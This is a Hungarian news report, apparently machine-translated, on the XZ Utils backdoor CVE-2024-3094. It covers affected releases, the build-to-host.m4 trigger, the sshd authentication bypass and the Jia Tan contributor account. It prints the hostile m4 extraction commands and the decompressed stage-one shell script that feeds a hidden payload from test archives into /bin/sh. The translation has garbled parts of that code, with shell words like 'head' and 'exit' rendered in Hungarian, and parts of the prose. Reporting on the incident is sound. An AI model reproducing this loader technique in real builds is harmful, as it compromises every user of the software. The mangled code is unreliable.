Az XZ Utils csomagban, amely tartalmazza a liblzma könyvtárat és az „.xz” formátumú tömörített adatokkal való munkavégzéshez szükséges segédprogramokat, egy hátsó ajtót (CVE-2024-3094) azonosítottak, amely lehetővé teszi a társított alkalmazások által feldolgozott adatok lehallgatását és módosítását. a liblzma könyvtárral. A hátsó ajtó fő célpontja az OpenSSH-kiszolgáló, amely egyes disztribúciókban a libsystemd könyvtárral van kötve, amely viszont a liblzma-t használja. Az sshd és egy sebezhető könyvtár összekapcsolása lehetővé teszi a támadók számára, hogy hitelesítés nélkül hozzáférjenek az SSH-kiszolgálóhoz.
A hátsó ajtó már a február 24-én és március 9-én kiadott hivatalos 5.6.0 és 5.6.1 kiadásokban is jelen volt, amelyekkel sikerült bejutni néhány disztribúcióba és tárolóba, például a Gentoo-ba, az Arch-ba. Linux, Debian sid/unstable, Fedora Rawhide és 40-beta, openSUSE factory és tumbleweed, LibreELEC, Alpine edge, Solus, NixOS instabil, OpenIndiana, OpenMandriva rolling, pkgsrc aktuális verziója, Slackware aktuális verziója, Manjaro tesztelés. Az xz 5.6.0 és 5.6.1 kiadások minden felhasználójának azt javasoljuk, hogy azonnal váltson az 5.4.6-os verzióra.
Egy enyhítő körülmény, hogy a liblzma hátsó ajtós verziója nem került be a főbb disztribúciók stabil kiadásaiba, de az openSUSE Tumbleweed és a Fedora 40-beta verzióit érintette. Arch Linux és a Gentoo a zx egy sebezhető verzióját használta, de nem sebezhetőek a támadással szemben, mivel nem alkalmazzák a systemd-notify javítást az openssh-n, ami miatt az sshd a liblzma-hoz kapcsolódik. A hátsó ajtó csak az x86_64 kernel alapú rendszereket érinti. Linux és a C könyvtár Glibc.
A hátsó ajtó aktiváló kódja az automake eszközkészlet által az építés során használt build-to-host.m4 fájl m4 makróiban volt elrejtve. Az összeszerelés során, a működés helyességének tesztelésére használt archívumok (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) bonyolult obfuszkált műveletek végrehajtása során egy rosszindulatú kódot tartalmazó objektumfájl keletkezett, amely bekerült a a liblzma könyvtárat, és megváltoztatta egyes funkcióinak működési logikáját. A hátsó ajtót aktiváló m4 makrók szerepeltek a kiadási tarballokban, de nem voltak a Git-tárban. Ugyanakkor rosszindulatú tesztarchívumok is jelen voltak az adattárban, pl. a hátsó ajtót megvalósító személy hozzáfért a tárolóhoz és a kiadás generálási folyamatokhoz is.
A liblzma alkalmazásokban történő használatakor a rosszindulatú módosítások felhasználhatók adatok elfogására vagy módosítására, vagy befolyásolhatják az sshd működését. A rosszindulatú kód különösen az RSA_public_decrypt függvényt hamisította meg, hogy megkerülje az sshd hitelesítési folyamatot. A hátsó ajtó az észlelés elleni védelmet is magában foglalta, és nem jelent meg a LANG és a TERM környezeti változók beállításakor (azaz a folyamat terminálban való futtatásakor), valamint az LD_DEBUG és LD_PROFILE környezeti változók nem voltak beállítva, és szintén csak a /usr/sbin/sshd futtatható fájl . A hátsó ajtónak volt egy eszköze is a végrehajtás észlelésére hibakeresési környezetekben.
Az m4/build-to-host.m4 fájl a gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / fájlt használta. null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
Az első konstrukcióban a grep művelet megtalálta a tests/files/bad-3-corrupt_lzma2.xz fájlt, amelynek kicsomagolása után a következő szkript keletkezett: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux" ] && kilépés 0 [ ! $(uname) = "Linux" ] && kilépés 0 [ ! $(uname) = "Linux" ] && kilépés 0 [ ! $(uname) = "Linux" ] && kilépés 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (fej -c +1024 >/dev/null) && fej -c +2048 && (fej -c +1024 >/dev/null) && fej -c +2048 && (fej -c +1024 >/dev/null) && fej -c +2048 && (fej -c +1024 >/dev/null) && fej -c +2048 && (fej -c +1024 >/dev/null) && fej -c +2048 && (fej -c +1024 >/dev/null) && fej -c +2048 && (fej -c +1024 >/dev/null) && fej -c +2048 && (fej -c +1024 >/dev/null) && fej -c +2048 && (fej -c +1024 >/dev/null) && fej -c +2048 && (fej -c +1024 >/dev/null) && fej -c +2048 && (fej -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Világ####
Az továbbra sem világos, hogy a támadók hogyan fértek hozzá az xz projekt infrastruktúrájához. Az sem világos, hogy hány felhasználó és projekt sérült meg a hátsó ajtó következtében. Az állítólagos hátsó ajtó szerzője (JiaT75 — Jia Tan), aki rosszindulatú kódot tartalmazó archívumokat tett közzé a tárhelyen, levelezett a Fedora fejlesztőivel és pull requesteket küldött a következő címekre: Debiana disztribúció xz 5.6.0 ágra való áttérésével kapcsolatos, és nem keltett gyanút, mivel az elmúlt két évben részt vett az xz fejlesztésében, és a második legnagyobb közreműködő. Az xz projekt mellett az állítólagos hátsó ajtó szerzője az xz-java és az xz-embedded csomagokhoz is hozzájárult. Ezenkívül Jia Tant nemrégiben kinevezték az XZ Embedded projekt karbantartójává, amelyet a kernelben használnak. Linux.
A rosszindulatú módosítást a túlzott CPU-fogyasztás és a valgrind által visszaadott hibák elemzése után fedezték fel, amikor SSH-n keresztül csatlakoztak a következő alapú rendszerekhez: Debian sid. Érdemes megjegyezni, hogy az xz 5.6.1 kiadása olyan változtatásokat tartalmazott, amelyeket a hátsó ajtó állítólagos szerzője készített elő, válaszul az sshd lassulásával és összeomlásával kapcsolatos panaszokra, amelyek a hátsó ajtót tartalmazó zx 5.6.0-ra való frissítés után történtek. Továbbá, Jia Tan tavaly olyan változtatásokat vezetett be, amelyek nem kompatibilisek a "-fsanitize=address" ellenőrzési móddal, aminek következtében azt letiltották a fuzzing tesztelés során.
Forrás: opennet.ru
